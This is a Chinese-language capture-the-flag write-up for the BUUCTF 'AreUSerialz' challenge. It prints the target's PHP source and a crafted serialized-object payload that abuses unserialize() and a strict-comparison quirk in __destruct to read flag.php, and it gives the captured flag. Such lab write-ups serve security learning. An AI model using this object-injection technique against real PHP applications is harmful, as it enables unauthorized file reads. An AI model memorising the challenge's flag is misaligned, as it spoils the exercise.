[网鼎杯 2020 青龙组]AreUSerialz
BUUCTF在线评测BUUCTF 是一个 CTF 竞赛和训练平台,为各位 CTF 选手提供真实赛题在线复现等服务。https://buuoj.cn/challenges#[%E7%BD%91%E9%BC%8E%E6%9D%AF%202020%20%E9%9D%92%E9%BE%99%E7%BB%84]AreUSerialz启动靶机,页面显示php代码
<?phpinclude("flag.php");highlight_file(__FILE__);class FileHandler {protected $op;protected $filename;protected $content;function __construct() {$op = "1";$filename = "/tmp/tmpfile";$content = "Hello World!";$this->process();}public function process() {if($this->op == "1") {$this->write();} else if($this->op == "2") {$res = $this->read();$this->output($res);} else {$this->output("Bad Hacker!");}}private function write() {if(isset($this->filename) && isset($this->content)) {if(strlen((string)$this->content) > 100) {$this->output("Too long!");die();}$res = file_put_contents($this->filename, $this->content);if($res) $this->output("Successful!");else $this->output("Failed!");} else {$this->output("Failed!");}}private function read() {$res = "";if(isset($this->filename)) {$res = file_get_contents($this->filename);}return $res;}private function output($s) {echo "[Result]: <br>";echo $s;}function __destruct() {if($this->op === "2")$this->op = "1";$this->content = "";$this->process();}}function is_valid($s) {for($i = 0; $i < strlen($s); $i++)if(!(ord($s[$i]) >= 32 && ord($s[$i]) <= 125))return false;return true;
}if(isset($_GET{'str'})) {$str = (string)$_GET['str'];if(is_valid($str)) {$obj = unserialize($str);}}
get方法传参 str ,代码会对其进行反序列化。同时代码还声明了一个 FileHandler 类,类中包含三个参数 op ,filename, content。
当op为1时,执行写操作,为 2时,执行读操作。显然,我们需要 读操作,去读取 flag.php 文件的内容。
我起先传递的payload:
/?str=O:11:"FileHandler":3:{s:2:"op";s:2;s:8:"filename";s:8:"flag.php";s:7:"content";s:0:"";}
返回 bad hacker
然鹅,需要注意 __destruct()函数中,用到了 ===(强比较),它不仅会比较参数的数值,还会比较参数的类型。也就是说如果我们传递的参数 op 是字符串2,那么代码会将 1 赋值给op,将空值赋给content,然后执行process()函数将文件内容清空
所以,修改一下,将传递的 2 改为 int型字符 进行绕过
最终payload:
/?str=O:11:"FileHandler":3:{s:2:"op";i:2;s:8:"filename";s:8:"flag.php";s:7:"content";s:0:"";}
F12查看源码,找到flag{5d6a5a87-2549-43d3-a3b7-039b4da8b01e}